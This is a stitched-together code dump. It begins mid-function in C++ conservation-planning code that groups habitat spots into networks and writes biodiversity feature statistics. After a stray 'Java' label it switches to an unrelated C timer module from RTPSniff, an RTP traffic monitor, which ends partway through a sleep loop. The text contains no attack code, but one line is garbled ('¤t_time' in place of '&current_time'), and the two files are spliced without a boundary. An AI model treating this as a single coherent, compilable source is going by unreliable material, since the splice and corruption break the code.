minx2=static_cast<float>(spots[s2].min_gx);
maxx2=static_cast<float>(spots[s2].max_gx);
miny2=static_cast<float>(spots[s2].min_gy);
maxy2=static_cast<float>(spots[s2].max_gy);
// Form1->Memo1->Lines->Add("corners");
// sprintf(txt, "minx1=%f maxx1=%f miny1=%f maxy1=%f", minx1, maxx1, miny1, maxy1);
// Form1->Memo1->Lines->Add(txt);
// sprintf(txt, "minx2=%f maxx2=%f miny2=%f maxy2=%f", minx2, maxx2, miny2, maxy2);
// Form1->Memo1->Lines->Add(txt);
// Form1->Memo1->Lines->Add("yxxxvc");
if (minx1>(maxx2+max_dist))
return (max_dist+1.0f);
if (minx2>(maxx1+max_dist))
return (max_dist+1.0f);
if (miny1>(maxy2+max_dist))
return (max_dist+1.0f);
if (miny2>(maxy1+max_dist))
return (max_dist+1.0f);
// Form1->Memo1->Lines->Add("here");
for(y1=static_cast<int>(miny1); y1<=maxy1;y1++)
for(x1=static_cast<int>(minx1); x1<=maxx1;x1++)
{
// Form1->Memo1->Lines->Add("y1loop"+IntToStr(y1));
if (cm[y1][x1]==s1)
{
for(y2=static_cast<int>(miny2); y2<=maxy2;y2++)
for(x2=static_cast<int>(minx2); x2<=maxx2;x2++) // xxx stuck in this loop.
{
if (cm[y2][x2]==s2)
{
dij = z_pow(x1-x2,2)+z_pow(y1-y2,2);
if (dij<=dm2)
return 0.0f;
}
}
}
}
return (max_dist+1.0f);
}
float calc_sim(int s1, int s2)
{
int loop, s, lvl1, lvl2;
float diff, val;
diff=0.0f;
for(loop=0; loop<map_cnt; loop++)
{
val = spots[s1].bdv[loop];
if (val<0.01f*Ebd[loop])
lvl1=0;
else if (val<0.1f*Ebd[loop])
lvl1=1;
else if (val<Ebd[loop])
lvl1=2;
else if (val<10*Ebd[loop])
lvl1=3;
else if (val<100*Ebd[loop])
lvl1=4;
else
lvl1=5;
val = spots[s2].bdv[loop];
if (val<0.01f*Ebd[loop])
lvl2=0;
else if (val<0.1f*Ebd[loop])
lvl2=1;
else if (val<Ebd[loop])
lvl2=2;
else if (val<10*Ebd[loop])
lvl2=3;
else if (val<100*Ebd[loop])
lvl2=4;
else
lvl2=5;
diff += fabs(lvl1-lvl2);
}
diff/=map_cnt;
return diff;
}
void add_nb_to_nw(int spot)
{
int loop;
float dist, diff;
for(loop=1; loop<spot_cnt; loop++)
{
// Form1->Memo1->Lines->Add("spot = "+IntToStr(loop));
if (spots[loop].nwn==-1)
{
// Form1->Memo1->Lines->Add("dist next");
dist = calc_dist(spot, loop);
// Form1->Memo1->Lines->Add("sim next");
diff = calc_sim(spot, loop);
if ((dist<=max_dist) && (diff<min_simil))
{
spots[loop].nwn = nwc;
nw_in_min[nwc] = (nw_in_min[nwc] || spots[loop].in_min_percent);
s_in_nw[nwns_cnt] = loop;
nwns_cnt++;
// Form1->Memo1->Lines->Add("joined");
}
}
}
}
void expand_network(int s)
{
int pos;
spots[s].nwn = nwc;
nwns_cnt = 1;
s_in_nw[0] = s;
nw_in_min[nwc] = (nw_in_min[nwc] || spots[s].in_min_percent);
pos=0;
while(pos<nwns_cnt)
{
// Form1->Memo1->Lines->Add("pos="+IntToStr(pos));
add_nb_to_nw(s_in_nw[pos]);
pos++;
}
}
void Fix_bd_values()
{
int loop, s;
for(loop=0; loop<map_cnt; loop++)
Ebd[loop]=0.0f;
for(s=1;s<spot_cnt;s++)
{
for(loop=0; loop<map_cnt; loop++)
{
Ebd[loop] += spots[s].bdv[loop];
spots[s].bdv[loop] /= spots[s].area;
}
}
for(loop=0; loop<map_cnt; loop++)
Ebd[loop] /= ccnt; // Ebd[loop]=average over cells in cut
}
void get_networks()
{
int loop, x, y, cilcnt;
/*
const size_t DEF_MAX_NW = 2048;
nw_in_min.reserve(DEF_MAX_NW);
nw_in_min.assign(2, false);
*/
// get_networks always called after get_spots() -> spot_cnt known
try {
s_in_nw.resize(spot_cnt, 0);
Ebd.resize(map_cnt, 0);
nw_in_min.resize(spot_cnt+1, false);
} catch(std::bad_alloc const& ex) {
Form1->Memo1->Lines->Add("Out of memory in landscape identification: "+String(ex.what()));
}
nwc = 1; // xxx
for(loop=0; loop<spot_cnt; loop++) {
spots[loop].nwn=-1;
}
// uses Ebd[]
Fix_bd_values();
for(loop=1; loop<spot_cnt; loop++)
{
if ((spots[loop].nwn==-1) && (spots[loop].in_min_percent))
{
// Form1->Memo1->Lines->Add(IntToStr(loop));
expand_network(loop);
nwc++;
nw_in_min.push_back(false);
}
}
for(y=0; y<yd; y++) {
for(x=0; x<xd; x++) {
if (false && cm[y][x] >0 && spots[cm[y][x]].nwn >= nw_in_min.size()) {
Form1->Memo1->Lines->Add("SEGFAUUUUUUUUUUUUUUUUUULT, cm: "+ IntToStr(cm[y][x]));
Form1->Memo1->Lines->Add("SEGFAUUUUUUUUUUUUUUUUUULT, cm: "+ IntToStr(cm[y][x]) + ", spots:"+IntToStr(spots[cm[y][x]].nwn));
}
//if (Rmax[y][x]==-1)
if (-1 == status[y][x])
nwm[y][x]=-1;
else if (cm[y][x]==0)
nwm[y][x]=-2;
else if (cm[y][x]==-1)
nwm[y][x]=-2;
// the -1== check is critical, or likely segfault!
else if ((cm[y][x]>0) && (-1==spots[cm[y][x]].nwn || (!nw_in_min[spots[cm[y][x]].nwn])))
nwm[y][x]=-2;
else
nwm[y][x]=spots[cm[y][x]].nwn; // xxx error
}
}
Form1->Memo1->Lines->Add("Found networks count = "+IntToStr(nwc-1));
std::vector<float> spdat;
try {
spdat.resize(map_cnt, 0.0);
} catch(std::bad_alloc const& ex) {
Form1->Memo1->Lines->Add("Out of memory in landscape identification: "+String(ex.what()));
}
cilcnt=0;
for(y=0; y<yd; y++) {
for(x=0; x<xd; x++) {
//if (Rmax[y][x]==-1)
if (-1 == status[y][x])
continue;
if (nwm[y][x]>0) {
// rowp=&vmat[y][x][0]; // COMPACT_VMAT
Biodiv_Features_Occur_Container& rowp = vmat[y][x];
//for(loop=0;loop<map_cnt;loop++)
for(loop=rowp.first(); loop!=rowp.overflow(); loop=rowp.next(loop)) {
if (rowp[loop]>0.0f)
spdat[loop] += rowp[loop];
}
cilcnt++;
}
}
}
Form1->Memo1->Lines->Add("Cells in classified landscapes = "+IntToStr(cilcnt));
const size_t MAX_STR_LEN = 512;
char txt[MAX_STR_LEN];
for(loop=0;loop<map_cnt;loop++)
{
sprintf(txt, "%-6.3f %-5.3f %s\n", spp[loop].weight, spdat[loop], spp[loop].fname.toUtf8().constData());
Form1->Memo1->Lines->Add(txt);
}
}
// Gets statistics for units specified in the PPA mask,
// so networks will actually be the units
// all the nwarea, nwx, nwy, nwrank are aggregated (not normalized) and will be divided by nwarea[] later on
void
get_fake_networks_from_mask(std::vector<int>& nwarea, std::vector<float>& nwx, std::vector<float>& nwy,
std::vector<float>& nwrank, float**& mat)
{
// max_val pre-calculated in load_from_file...
spot_cnt = (int)LSI_maskmap.max_val+1;
try {
spots.resize(spot_cnt);
} catch(std::bad_alloc const& ex) {
Form1->Memo1->Lines->Add("Out of memory in landscape identification: "+String(ex.what()));
}
/*
// Init to 0. units have numbers >=1
for (size_t i=0; i<spot_cnt; i++)
spots[i].num = 0;
// Find used unit numbers. Use the array spots[].num
// for the unit numbers
for (size_t y=0; y<yd; y++) {
for (size_t x=0; x<xd; x++) {
// make sure the mask doesn't include "missing" cells
if (sol[y][x] < 0.0f)
continue;
int unit_idx = LSI_maskmap.m[y][x];
if (unit_idx > 0 && unit_idx <= spots.size())
if (0==spots[unit_idx].num)
spots[unit_idx].num++;
}
}
// unit numbers actually used in the LSI analysis mask
std::vector<int> unit_nums;
nwc = 0;
for (size_t i=0; i<spot_cnt; i++) {
if (0 < spots[i].num) {
nwc++; // nwc is global
unit_nums.push_back(i);
}
}
nwc++; // yes, it is number of networks/units +1
*/
// bypass the 2 loops above. Use as many networks as the biggest number in the planning
// units layer/mask. This avoids crashes if non-consecutive numbers are used.
nwc = spot_cnt;
try {
nwarea.resize(nwc+1, 0);
nwrank.resize(nwc+1, 0);
nwrank.resize(nwc+1, 0);
nwx.resize(nwc+1, 0);
nwy.resize(nwc+1, 0);
} catch(std::bad_alloc const& ex) {
Form1->Memo1->Lines->Add("Out of memory in landscape identification: "+String(ex.what()));
}
mat = matrix(0, nwc+1, 0, map_cnt);
if (!mat) {
ShowMessage("Out of memory when doing LSIdent");
return;
}
for(int nw=0; nw<=nwc; nw++) {
nwarea[nw]=0;
nwrank[nw]=0.0f;
nwx[nw]=0.0f;
nwy[nw]=0.0f;
for(int sp=0; sp<map_cnt; sp++)
mat[nw][sp]=0.0f;
}
for (size_t y=0; y<yd; y++) {
for (size_t x=0; x<xd; x++) {
// make sure the mask doesn't include "missing" cells
if (sol[y][x] < 0.0f)
continue;
int unit_idx = LSI_maskmap.m[y][x];
if (unit_idx <= 0 || unit_idx >= spot_cnt)
continue;
nwarea[unit_idx]++;
nwx[unit_idx] += x;
nwy[unit_idx] += y;
nwrank[unit_idx] += sol[y][x];
// float* rowp = &vmat[y][x][0]; // COMPACT_VMAT
Biodiv_Features_Occur_Container& rowp = vmat[y][x];
if (rowp)
//for(size_t spp_idx=0; spp_idx<map_cnt; spp_idx++)
for(size_t spp_idx=rowp.first(); spp_idx!=rowp.overflow(); spp_idx=rowp.next(spp_idx))
if (rowp[spp_idx] > .0f)
mat[unit_idx][spp_idx] += rowp[spp_idx];
}
}
// And the nwout raster (variable nwm) is not generated (it's = LSImask)
}
void print_network_data()
{
int loop, nw, sp, num, c10, c1, c01, c001, c0001, sp_at_zero;
float **mat, nwtot;
FILE *f;
f=fopen(LSIDfn.toUtf8().constData(), "w+t");
if (!f)
{
ShowMessage("Could not open output file " + LSIDfn);
return;
}
std::vector<int> nwarea;
std::vector<float> nwrank, nwx, nwy;
if (LSM_minus1_mode) {
// All params by ref./output
get_fake_networks_from_mask(nwarea, nwx, nwy, nwrank, mat);
} else {
try {
nwarea.resize(nwc+1, 0);
nwrank.resize(nwc+1, 0);
nwrank.resize(nwc+1, 0);
nwx.resize(nwc+1, 0);
nwy.resize(nwc+1, 0);
} catch(std::bad_alloc const& ex) {
Form1->Memo1->Lines->Add("Out of memory in landscape identification: "+String(ex.what()));
}
// sprintf(txt, "nwc=%i spots=%i",nwc, spot_cnt);
// ShowMessage(txt);
mat = matrix(0, nwc+1, 0, map_cnt);
if (!mat)
{
ShowMessage("Out of memory when doing LSIdent");
fclose(f);
return;
}
for(nw=0; nw<=nwc; nw++)
{
nwarea[nw]=0;
nwrank[nw]=0.0f;
nwx[nw]=0.0f;
nwy[nw]=0.0f;
for(sp=0; sp<map_cnt; sp++)
mat[nw][sp]=0.0f;
}
for(loop=1; loop<spot_cnt; loop++)
{
num = spots[loop].nwn;
if (num == -1)
continue;
for(sp=0; sp<map_cnt; sp++)
mat[num][sp] += spots[loop].bdv[sp]*spots[loop].area;
nwarea[num] += spots[loop].area;
nwrank[num] += spots[loop].rank;
nwx[num] += spots[loop].mean_gx;
nwy[num] += spots[loop].mean_gy;
}
}
std::string nets_or_units;
if (LSM_minus1_mode)
nets_or_units = "units";
else
nets_or_units = "networks";
fprintf(f, "Most important biodiversity features (e.g. species) in %s; those occurring at a 1%%+ level\n", nets_or_units.c_str());
fprintf(f, "of original distribution\n");
std::string net_or_unit;
if (LSM_minus1_mode)
net_or_unit = "Unit";
else
net_or_unit = "Network";
fprintf(f, "%s Area Mean-Rank X Y Spp_distribution_sum spp occurring at >10%% >1%% >0.1%% >0.01%% >0.001%%\n", net_or_unit.c_str());
std::vector<float> sptot;
try {
sptot.resize(map_cnt, 0);
} catch(std::bad_alloc const& ex) {
Form1->Memo1->Lines->Add("Out of memory in landscape identification: "+String(ex.what()));
}
float tottot=0.0f;
for(nw=1; nw<nwc; nw++)
{
// do not calc/output results for empty/missing unit numbers
if (LSM_minus1_mode && nwarea[nw]<=0)
continue;
c10 = c1 = c01 = c001 = c0001 = 0;
nwtot=0.0f;
for(sp=0; sp<map_cnt; sp++)
{
nwtot += mat[nw][sp];
sptot[sp] += mat[nw][sp];
if (mat[nw][sp]>0.1f)
{
c10++;
c1++;
c01++;
c001++;
c0001++;
}
else if (mat[nw][sp]>0.01f)
{
c1++;
c01++;
c001++;
c0001++;
}
else if (mat[nw][sp]>0.001f)
{
c01++;
c001++;
c0001++;
}
else if (mat[nw][sp]>0.0001f)
{
c001++;
c0001++;
}
else if (mat[nw][sp]>0.00001f)
{
c0001++;
}
}
tottot += nwtot;
// nw area rnk x y tot
fprintf(f, "%-5i %-6i %-6.3f %-6.3f %-6.3f %-6.3f %-5i %-5i %-5i %-5i %-5i\n",
nw, nwarea[nw], nwrank[nw]/nwarea[nw], nwx[nw]/nwarea[nw], nwy[nw]/nwarea[nw],
nwtot, c10, c1, c01, c001, c0001);
for(sp=0; sp<map_cnt; sp++)
{
if (mat[nw][sp]>0.01f)
fprintf(f, " Feature %s, %-5.2f%% of full distribution\n",
spp[sp].fname.toUtf8().constData(),100*mat[nw][sp]);
}
// fprintf(f, "\n");
}
fprintf(f, "Repeat without spp info for easy import\n");
fprintf(f,"%s Area Mean-Rank X Y Spp_distribution_sum spp occurring at >10%% >1%% >0.1%% >0.01%% >0.001%%\n", net_or_unit.c_str());
//tottot=0.0f;
for(nw=1; nw<nwc; nw++)
{
// do not cal/output results for empty/missing unit numbers
if (LSM_minus1_mode && nwarea[nw]<=0)
continue;
c10 = c1 = c01 = c001 = c0001 = 0;
nwtot=0.0f;
for(sp=0; sp<map_cnt; sp++)
{
nwtot += mat[nw][sp];
// would be the second time!
//sptot[sp] += mat[nw][sp];
if (mat[nw][sp]>0.1f)
{
c10++;
c1++;
c01++;
c001++;
c0001++;
}
else if (mat[nw][sp]>0.01f)
{
c1++;
c01++;
c001++;
c0001++;
}
else if (mat[nw][sp]>0.001f)
{
c01++;
c001++;
c0001++;
}
else if (mat[nw][sp]>0.0001f)
{
c001++;
c0001++;
} else if (mat[nw][sp]>0.00001f)
{
c0001++;
}
}
// this would make tottot 2x the true totot
//tottot += nwtot;
// nw area rnk x y tot
fprintf(f, "%-5i %-6i %-6.3f %-6.3f %-6.3f %-6.3f %-5i %-5i %-5i %-5i %-5i\n",
nw, nwarea[nw], nwrank[nw]/nwarea[nw], nwx[nw]/nwarea[nw], nwy[nw]/nwarea[nw],
nwtot, c10, c1, c01, c001, c0001);
}
fprintf(f, "\n\nAverage proportion remaining over all spp in %s = %f\n",nets_or_units.c_str(), tottot/map_cnt);
sp_at_zero=0;
for(sp=0; sp<map_cnt; sp++)
{
if (sptot[sp]<=0.0f)
sp_at_zero++;
}
fprintf(f, "Count of biodiversity features (e.g. species) with nothing remaining in the network = %i\n",sp_at_zero);
fprintf(f, "Total proportion and sum remaining for biodiversity features\n");
for(sp=0; sp<map_cnt; sp++)
{
fprintf(f, "%s %-5.4f %0.4f\n",
spp[sp].fname.toUtf8().constData(), sptot[sp], sptot[sp]*spp[sp].prob_sum);
}
if (LSM_minus1_mode)
fprintf(f, "\n\nBiological data of %i %s.\n",nwc-1, nets_or_units.c_str());
else
fprintf(f, "\n\nBiological data of %i %s (spots=%i).\n",nwc-1, nets_or_units.c_str(), spot_cnt-1);
fprintf(f, "%s x biodiversity features matrix\n", nets_or_units.c_str());
if (LSM_minus1_mode)
fprintf(f, "Unit_number area[cells] sp_data .....\n");
else
fprintf(f, "Nw_number area[cells] sp_data .....\n");
for(nw=1; nw<nwc; nw++)
{
// do not calc/output results for empty/missing unit numbers
if (LSM_minus1_mode && nwarea[nw]<=0)
continue;
fprintf(f, "%-5i %-6i ", nw, nwarea[nw]);
for(sp=0; sp<map_cnt; sp++)
fprintf(f,"%-6.4f ", mat[nw][sp]);
fprintf(f, "\n");
}
fclose(f);
free_matrix(mat, 0, nwc+1, 0, map_cnt);
}
bool read_LSI_mask(int top_fraction_mode)
{
int x, y;
LSI_maskmap.normalize=false;
if (!LSI_maskmap.load_from_file(LSImask, mask_data, area_mask.m))
{
Form1->Memo1->Lines->Add("************** ERROR ***************");
Form1->Memo1->Lines->Add(" FAILURE attempting LSI mask map load.");
return false;
}
Form1->Memo1->Lines->Add("LSI mask map loaded.");
val_th = 1.0f-top_percent;
ccnt = 0;
for(y=0; y<yd; y++)
{
for(x=0; x<xd; x++)
{
if (LSI_maskmap.m[y][x]>=1)
{
if (top_fraction_mode)
{
if (sol[y][x]>=val_th)
{
cm[y][x]=0;
ccnt++;
}
else
cm[y][x]=-1;
}
else
{
cm[y][x]=0;
ccnt++;
}
}
else
cm[y][x]=-1;
}
}
Form1->Memo1->Lines->Add("Potential cells count = "+IntToStr(ccnt));
return true;
}
int LSIdent(int LSI_mode)
{
const size_t MAX_STRLEN = 2048;
char txt[MAX_STRLEN];
Form1->Memo1->Lines->Add("");
Form1->Memo1->Lines->Add("");
Form1->Memo1->Lines->Add("NEW LANDSCAPE IDENTIFICATION ANALYSIS");
// This is done now in the visitor class in post_process.cpp
//top_percent = StrToFloat(Form1->Edit4->Text)/100.0f;
//min_percent = StrToFloat(Form1->Edit5->Text)/100.0f;
//max_dist = StrToFloat(Form1->Edit6->Text);
//min_simil = StrToFloat(Form1->Edit7->Text);
//LSIRfn = Form1->Edit8->Text;
bool lsi_mask_ok = true;
if (LSI_mode==0) // "LSB"
{
sprintf(txt, "Running LSIdent with top%%=%0.3f min%%=%0.3f max-d=%0.3f min-s=%0.3f",
top_percent*100, min_percent*100, max_dist, min_simil);
Form1->Memo1->Lines->Add(txt);
Form1->Memo1->Lines->Add("1. Getting candidate cells.");
get_candidate_cells();
}
else if (LSI_mode==1) // "LSM"
{
if (0.0f > max_dist)
{
LSM_minus1_mode = true;
sprintf(txt, "Running LSIdent with mask file (%s). Note: LSM special case with max. distance -1, ignoring top%%=%0.3f and using whole landscape",
LSImask.toStdString().c_str(), top_percent*100);
Form1->Memo1->Lines->Add(txt);
top_percent = 1.0f;
}
else
{
sprintf(txt, "Running LSIdent with mask file (%s) max-d=%0.3f min-s=%0.3f",
LSImask.toStdString().c_str(), max_dist, min_simil);
Form1->Memo1->Lines->Add(txt);
Form1->Memo1->Lines->Add("1. Reading relevant areas from mask file "+Form1->Edit42->Text);
}
lsi_mask_ok = read_LSI_mask(0);
if (!lsi_mask_ok) {
Form1->Memo1->Lines->Add("ERROR! failed to read LSM areas from mask file: " + LSImask);
}
}
else // 2==LSI_mode "LSB"
{
sprintf(txt, "Running LSIdent for top fraction within masked area, mask file %s fract=%0.4f max-d=%0.3f min-s=%0.3f",
LSImask.toStdString().c_str(), top_percent, max_dist, min_simil);
Form1->Memo1->Lines->Add(txt);
Form1->Memo1->Lines->Add("1. Reading relevant areas from mask file "+Form1->Edit42->Text);
lsi_mask_ok = read_LSI_mask(1);
if (!lsi_mask_ok) {
Form1->Memo1->Lines->Add("ERROR! failed to read LSB areas from mask file: " + LSImask);
}
}
if (!lsi_mask_ok) {
Form1->Memo1->Lines->Add("Please fix the mask file name. No results will be generated for this post-processing analysis.");
return false;
}
if (!LSM_minus1_mode) {
// free only if traditional modes
LSI_maskmap.free_matrix_m();
Form1->Memo1->Lines->Add("2. Identifying spots.");
get_spots(); // spots[s].bdv[sp] = 0.0f; sisaltaa prop of sp spotissa
Form1->Memo1->Lines->Add("3. Finding networks.");
get_networks();
}
print_network_data();
if (LSM_minus1_mode) {
LSI_maskmap.free_matrix_m();
} else {
#if 0
// obsmap[0].show_spots(Form1->Image1->Picture->Bitmap, cm);
obsmap[0].show_spots(Form1->Image1->Picture->Bitmap, nwm, 0);
#endif
obsmap[0].export_GIS_INT(nwm, LSIRfn);
// the spots[].bdv are not allocated in LSM "-1 distance" mode
for(int loop=0; loop<spots.size(); loop++)
{
if (spots[loop].bdv)
delete[] spots[loop].bdv;
spots[loop].bdv=0;
}
}
Screen->Cursor=crDefault;
return true;
}
void LSCAnalysis(float f1, float f2, const String& cfn, const String& comp_outfn)
{
//float f1, f2;
//String cfn, comp_outfn;
float f1cells, f2cells, bothcells, rodiff;
class GridMap cmpmap;
int x, y, z1, z2, rcnt;
bool f1ok, f2ok;
DecimalSeparator='.';
//cfn = Edit23->Text;
cmpmap.set_no_normalize();
if (!cmpmap.load_from_file(cfn, mask_data, area_mask.m))
{
ShowMessage("Could not load given comparison solution");
return;
}
Form1->Memo1->Lines->Add("");
Form1->Memo1->Lines->Add("Solution comparison stats");
//f1 = StrToFloat(Edit22->Text);
//f2 = StrToFloat(Edit24->Text);
Form1->Memo1->Lines->Add("S1 cut level = "+FloatToStrF(f1, ffFixed, 7, 4));
Form1->Memo1->Lines->Add("S2 cut level = "+FloatToStrF(f2, ffFixed, 7, 4));
f1cells=f2cells=bothcells=rodiff=0.0f;
z1=z2=rcnt=0;
for(y=0; y<yd; y++)
for(x=0; x<xd; x++)
{
f1ok=f2ok=false;
if (f1>0.0f)
{
if ((sol[y][x]!=-1) && (sol[y][x]>=(1.0f-f1)))
f1ok=true;
}
else
{
if ((sol[y][x]!=-1) && (sol[y][x]<=(-f1)))
f1ok=true;
}
if (f2>0.0f)
{
if ((cmpmap.m[y][x]!=-1) && (cmpmap.m[y][x]>=(1.0f-f2)))
f2ok=true;
}
else
{
if ((cmpmap.m[y][x]>0.0f) && (cmpmap.m[y][x]<=(-f2)))
f2ok=true;
}
if (f1ok)
f1cells++;
if (f2ok)
f2cells++;
if (f1ok && f2ok)
bothcells++;
if (sol[y][x]==0.0f)
z1++;
if (cmpmap.m[y][x]==0.0f)
z2++;
if ((sol[y][x]!=-1) && (cmpmap.m[y][x]!=0.0f))
{
++rcnt;
rodiff+= fabs(sol[y][x]-cmpmap.m[y][x]);
}
nwm[y][x] = 0;
//if (Rmax[y][x]==-1)
if (-1 == status[y][x])
nwm[y][x] = -1;
else if (f1ok && f2ok)
nwm[y][x] = 1;
else if (f1ok)
nwm[y][x] = 2;
else if (f2ok)
nwm[y][x] = 3;
}
Form1->Memo1->Lines->Add("Cells in present solution fraction = " +IntToStr((int)f1cells));
Form1->Memo1->Lines->Add("Cells in comparison solution fraction = " +IntToStr((int)f2cells));
Form1->Memo1->Lines->Add("Cells included in both solutions = " +IntToStr((int)bothcells));
Form1->Memo1->Lines->Add("Initially removed in present solution = " +IntToStr(z1));
Form1->Memo1->Lines->Add("Initially removed in comparison solution = "+IntToStr(z2));
Form1->Memo1->Lines->Add("Similarity f1 = "+FloatToStrF(bothcells/f1cells, ffFixed, 7, 4));
Form1->Memo1->Lines->Add("Similarity f2 = "+FloatToStrF(bothcells/f2cells, ffFixed, 7, 4));
Form1->Memo1->Lines->Add("Average difference in removal order = "+FloatToStrF(rodiff/rcnt, ffFixed, 7, 4));
const size_t MAX_STR_LEN = 512;
char txt[MAX_STR_LEN];
sprintf(txt, "Overlap f1 = %0.4f, f1 = %0.4f. Average order diff=%0.4f. See also memo.",
bothcells/f1cells,bothcells/f2cells, rodiff/rcnt);
Form1->Memo1->Lines->Add(txt);
if (!bat_mode)
ShowMessage(txt);
if (Form1->CheckBox7->Checked)
{
#if 0
//comp_outfn = Edit29->Text;
obsmap[0].show_spots(Form1->Image1->Picture->Bitmap, nwm, 1);
#endif
obsmap[0].export_GIS_INT(nwm, comp_outfn);
}
}
| Java |
/* vim: set ts=8 sw=4 sts=4 et: */
/*======================================================================
Copyright (C) 2008,2009,2014 OSSO B.V. <walter+rtpsniff@osso.nl>
This file is part of RTPSniff.
RTPSniff is free software: you can redistribute it and/or modify it
under the terms of the GNU General Public License as published by the
Free Software Foundation, either version 3 of the License, or (at your
option) any later version.
RTPSniff is distributed in the hope that it will be useful, but WITHOUT
ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License
for more details.
You should have received a copy of the GNU General Public License along
with RTPSniff. If not, see <http://www.gnu.org/licenses/>.
======================================================================*/
#include "rtpsniff.h"
#include <assert.h>
#include <sys/time.h>
#include <pthread.h>
#include <signal.h>
#include <stdio.h>
#include <time.h>
#include <unistd.h>
/* Settings */
#ifndef INTERVAL_SECONDS
# define INTERVAL_SECONDS 10 /* wake the storage engine every N seconds */
#endif /* INTERVAL_SECONDS */
#if INTERVAL_SECONDS < 2
# error INTERVAL_SECONDS be too low
#endif
#define TIMER__METHOD_NSLEEP 1
#define TIMER__METHOD_SEMAPHORE 2
#if !defined(USE_NSLEEP_TIMER) && (_POSIX_C_SOURCE >= 200112L || _XOPEN_SOURCE >= 600)
# define TIMER__METHOD TIMER__METHOD_SEMAPHORE
# include <errno.h>
# include <semaphore.h>
#else
# define TIMER__METHOD TIMER__METHOD_NSLEEP
#endif
static pthread_t timer__thread;
static struct memory_t *timer__memory;
#if TIMER__METHOD == TIMER__METHOD_NSLEEP
static volatile int timer__done; /* whether we're done */
#elif TIMER__METHOD == TIMER__METHOD_SEMAPHORE
static sem_t timer__semaphore; /* semaphore to synchronize the threads */
#endif /* TIMER__METHOD == TIMER__METHOD_SEMAPHORE */
static void *timer__run(void *thread_arg);
void timer_help() {
printf(
"/*********************"
" module: timer (interval) *******************************/\n"
"#%s USE_NSLEEP_TIMER\n"
"#define INTERVAL_SECONDS %" SCNu32 "\n"
"\n"
"Sleeps until the specified interval of %.2f minutes have passed and wakes up\n"
"to tell the storage engine to write averages.\n"
"\n"
"The USE_NSLEEP_TIMER define forces the module to use a polling sleep loop even\n"
"when the (probably) less cpu intensive and more accurate sem_timedwait()\n"
"function is available. The currently compiled in timer method is: %s\n"
"\n",
#ifdef USE_NSLEEP_TIMER
"define",
#else /* !USE_NSLEEP_TIMER */
"undef",
#endif
(uint32_t)INTERVAL_SECONDS, (float)INTERVAL_SECONDS / 60,
#if TIMER__METHOD == TIMER__METHOD_NSLEEP
"n_sleep"
#elif TIMER__METHOD == TIMER__METHOD_SEMAPHORE
"semaphore"
#endif /* TIMER__METHOD == TIMER__METHOD_SEMAPHORE */
);
}
int timer_loop_bg(struct memory_t *memory) {
pthread_attr_t attr;
/* Set internal config */
timer__memory = memory;
#if TIMER__METHOD == TIMER__METHOD_NSLEEP
/* Initialize polling variable */
timer__done = 0;
#elif TIMER__METHOD == TIMER__METHOD_SEMAPHORE
/* Initialize semaphore */
if (sem_init(&timer__semaphore, 0, 0) != 0) {
perror("sem_init");
return -1;
}
#endif /* TIMER__METHOD == TIMER__METHOD_SEMAPHORE */
/* We want default pthread attributes */
if (pthread_attr_init(&attr) != 0) {
perror("pthread_attr_init");
return -1;
}
/* Run thread */
if (pthread_create(&timer__thread, &attr, &timer__run, NULL) != 0) {
perror("pthread_create");
return -1;
}
#ifndef NDEBUG
fprintf(stderr, "timer_loop_bg: Thread %p started.\n", (void*)timer__thread);
#endif
return 0;
}
void timer_loop_stop() {
void *ret;
/* Tell our thread that it is time */
#if TIMER__METHOD == TIMER__METHOD_NSLEEP
timer__done = 1;
#elif TIMER__METHOD == TIMER__METHOD_SEMAPHORE
sem_post(&timer__semaphore);
#endif /* TIMER__METHOD == TIMER__METHOD_SEMAPHORE */
/* Get its exit status */
if (pthread_join(timer__thread, &ret) != 0)
perror("pthread_join");
#ifndef NDEBUG
fprintf(stderr, "timer_loop_stop: Thread %p joined.\n", (void*)timer__thread);
#endif
#if TIMER__METHOD == TIMER__METHOD_SEMAPHORE
/* Destroy semaphore */
if (sem_destroy(&timer__semaphore) != 0)
perror("sem_destroy");
#endif /* TIMER__METHOD == TIMER__METHOD_SEMAPHORE */
}
/* The timers job is to run storage function after after every INTERVAL_SECONDS time. */
static void *timer__run(void *thread_arg) {
int first_run_skipped = 0; /* do not store the first run because the interval is wrong */
#ifndef NDEBUG
fprintf(stderr, "timer__run: Thread started.\n");
#endif
while (1) {
struct timeval current_time; /* current time is in UTC */
int sample_begin_time;
#if TIMER__METHOD == TIMER__METHOD_NSLEEP
int sleep_useconds;
#elif TIMER__METHOD == TIMER__METHOD_SEMAPHORE
struct timespec new_time;
int ret;
#endif /* TIMER__METHOD == TIMER__METHOD_SEMAPHORE */
int previously_active;
/* Get current time */
if (gettimeofday(¤t_time, NULL) != 0) {
perror("gettimeofday");
return (void*)-1;
}
/* Yes, we started sampling when SIGUSR1 fired, so this is correct */
sample_begin_time = current_time.tv_sec - (current_time.tv_sec % INTERVAL_SECONDS);
/* Calculate how long to sleep */
#if TIMER__METHOD == TIMER__METHOD_NSLEEP
sleep_useconds = (1000000 *
(INTERVAL_SECONDS - (current_time.tv_sec % INTERVAL_SECONDS)) -
current_time.tv_usec);
# ifndef NDEBUG
fprintf(stderr, "timer__run: Current time is %i (%02i:%02i:%02i.%06i), "
"sleep planned for %i useconds.\n",
(int)current_time.tv_sec,
(int)(current_time.tv_sec / 3600) % 24,
(int)(current_time.tv_sec / 60) % 60,
(int)current_time.tv_sec % 60,
(int)current_time.tv_usec, sleep_useconds);
# endif /* NDEBUG */
#elif TIMER__METHOD == TIMER__METHOD_SEMAPHORE
new_time.tv_sec = sample_begin_time + INTERVAL_SECONDS;
new_time.tv_nsec = 0;
# ifndef NDEBUG
fprintf(stderr, "timer__run: Current time is %i (%02i:%02i:%02i.%06i), "
"sleep planned until %02i:%02i:%02i.\n",
(int)current_time.tv_sec,
(int)(current_time.tv_sec / 3600) % 24,
(int)(current_time.tv_sec / 60) % 60,
(int)current_time.tv_sec % 60,
(int)current_time.tv_usec,
(int)(new_time.tv_sec / 3600) % 24,
(int)(new_time.tv_sec / 60) % 60,
(int)new_time.tv_sec % 60);
# endif /* NDEBUG */
#endif /* TIMER__METHOD == TIMER__METHOD_SEMAPHORE */
#if TIMER__METHOD == TIMER__METHOD_NSLEEP
/* The sleep in this thread won't wake up (EINTR) from a SIGALRM in the other
* thread. Pause/alarm won't work either. We use this crappy polling loop as
* an alternative. Observe that the semaphore below method is way more
* accurate and probably uses less cpu. */
while (!timer__done && sleep_useconds > 999999) {
sleep(1);
sleep_useconds -= 1000000;
